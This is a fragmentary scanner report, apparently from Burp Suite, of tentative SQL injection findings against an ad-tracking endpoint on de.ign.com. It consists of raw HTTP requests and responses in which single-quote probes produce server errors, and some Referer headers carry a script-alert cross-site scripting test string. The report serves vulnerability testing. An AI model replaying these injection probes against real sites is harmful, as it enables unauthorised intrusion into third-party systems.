i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:10 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,110,2747,4602,4603,4723,4897,4917,4954,5031,5718,5749,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=6671,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,288,448,531,757,912,1187,1405,1481,1508,1594,1824,2250,2868,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=bWkwpka,bguRrblewbsuw

Issue detail

Request 1

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:04 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:04 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:04 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,110,2747,4602,4603,4723,4897,4917,4954,5031,5718,5749,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=6671,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,288,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=cblcosc,bguRqRgbdmoWs

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,110,2747,4602,4603,4723,4897,4917,4954,5031,5718,5749,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=6671,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,288,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=cblcosc,bguRqRgbdmoWs HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(1)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326084499542327&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715; __utmc=173446715; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; optimizelyBuckets=%7B%7D

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:17 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,110,2747,4602,4603,4723,4897,4917,4954,5031,5718,5749,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=6671,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,288,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=cblcosc,bguRqRgbdmoWs HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(1)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326084499542327&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715; __utmc=173446715; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; optimizelyBuckets=%7B%7D

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:18 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:18 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,2747,4602,4603,4723,4897,4917,4954,5031,5718,5745,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6671,10619&Values=25,46,60,72,80,91,101,110,150,152,222,288,531,757,912,1187,1405,1481,1591,1824,2337,2986,3887,3932,4056,4227,4662,4799,5999,6623,8151,8210,8978,9180,41899,61350,61578,61766,61919,65369&RawValues=&random=cwfxRKn,bguRregbdnkiy

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,2747,4602,4603,4723,4897,4917,4954,5031,5718,5745,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6671,10619&Values=25,46,60,72,80,91,101,110,150,152,222,288,531,757,912,1187,1405,1481,1591,1824,2337,2986,3887,3932,4056,4227,4662,4799,5999,6623,8151,8210,8978,9180,41899,61350,61578,61766,61919,65369&RawValues=&random=cwfxRKn,bguRregbdnkiy HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://my.ign.com/register?r=http://www.ign.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; __utmb=173446715.1.10.1297040497; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:22 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,2747,4602,4603,4723,4897,4917,4954,5031,5718,5745,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6671,10619&Values=25,46,60,72,80,91,101,110,150,152,222,288,531,757,912,1187,1405,1481,1591,1824,2337,2986,3887,3932,4056,4227,4662,4799,5999,6623,8151,8210,8978,9180,41899,61350,61578,61766,61919,65369&RawValues=&random=cwfxRKn,bguRregbdnkiy HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://my.ign.com/register?r=http://www.ign.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; __utmb=173446715.1.10.1297040497; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:22 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:22 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,2747,4602,4603,4723,4897,4917,4954,5031,5718,5745,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6671,10619&Values=25,46,60,72,80,91,101,110,150,152,222,288,531,757,912,1187,1405,1481,1591,1824,2337,2986,3887,3932,4056,4227,4662,4799,5999,6623,8151,8210,8978,9180,41899,61350,61578,61766,61919,65369&RawValues=&random=cwfxRKn,bguRregbdnkiy/

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,2747,4602,4603,4723,4897,4917,4954,5031,5718,5745,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6671,10619&Values=25,46,60,72,80,91,101,110,150,152,222,288,531,757,912,1187,1405,1481,1591,1824,2337,2986,3887,3932,4056,4227,4662,4799,5999,6623,8151,8210,8978,9180,41899,61350,61578,61766,61919,65369&RawValues=&random=cwfxRKn,bguRregbdnkiy/ HTTP/1.1
Host: de.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=10089; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; decc=US; NGUserID=a016c06-15003-1306593845-5; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.3.10.1297040497;

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:15:52 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,2747,4602,4603,4723,4897,4917,4954,5031,5718,5745,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6671,10619&Values=25,46,60,72,80,91,101,110,150,152,222,288,531,757,912,1187,1405,1481,1591,1824,2337,2986,3887,3932,4056,4227,4662,4799,5999,6623,8151,8210,8978,9180,41899,61350,61578,61766,61919,65369&RawValues=&random=cwfxRKn,bguRregbdnkiy/ HTTP/1.1
Host: de.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=10089; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; decc=US; NGUserID=a016c06-15003-1306593845-5; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.3.10.1297040497;

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:15:52 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:15:52 GMT
Connection: close

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,2747,4602,4603,4723,4897,4917,4954,5031,5718,5745,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6671,10619&Values=25,46,60,72,80,91,101,110,150,152,222,288,531,757,912,1187,1405,1481,1591,1824,2337,2986,3887,3932,4056,4227,4662,4799,5999,6623,8151,8210,8978,9180,41899,61350,61578,61766,61919,65369&RawValues=&random=dlmndoi,bguRrehbdnkof

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,2747,4602,4603,4723,4897,4917,4954,5031,5718,5745,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6671,10619&Values=25,46,60,72,80,91,101,110,150,152,222,288,531,757,912,1187,1405,1481,1591,1824,2337,2986,3887,3932,4056,4227,4662,4799,5999,6623,8151,8210,8978,9180,41899,61350,61578,61766,61919,65369&RawValues=&random=dlmndoi,bguRrehbdnkof HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://my.ign.com/register?r=http://www.ign.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; __utmb=173446715.1.10.1297040497

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:28 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,2747,4602,4603,4723,4897,4917,4954,5031,5718,5745,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6671,10619&Values=25,46,60,72,80,91,101,110,150,152,222,288,531,757,912,1187,1405,1481,1591,1824,2337,2986,3887,3932,4056,4227,4662,4799,5999,6623,8151,8210,8978,9180,41899,61350,61578,61766,61919,65369&RawValues=&random=dlmndoi,bguRrehbdnkof HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://my.ign.com/register?r=http://www.ign.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; __utmb=173446715.1.10.1297040497

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:28 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:28 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,2747,4602,4603,4723,4897,4917,4954,5031,5718,5745,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6671,10619&Values=25,46,60,72,80,91,101,110,150,152,222,288,531,757,912,1187,1405,1481,1591,1824,2337,2986,3887,3932,4056,4227,4662,4799,5999,6623,8151,8210,8978,9180,41899,61350,61578,61766,61919,65369&RawValues=&random=dlmndoi,bguRrehbdnkof/

Issue detail

Request 1

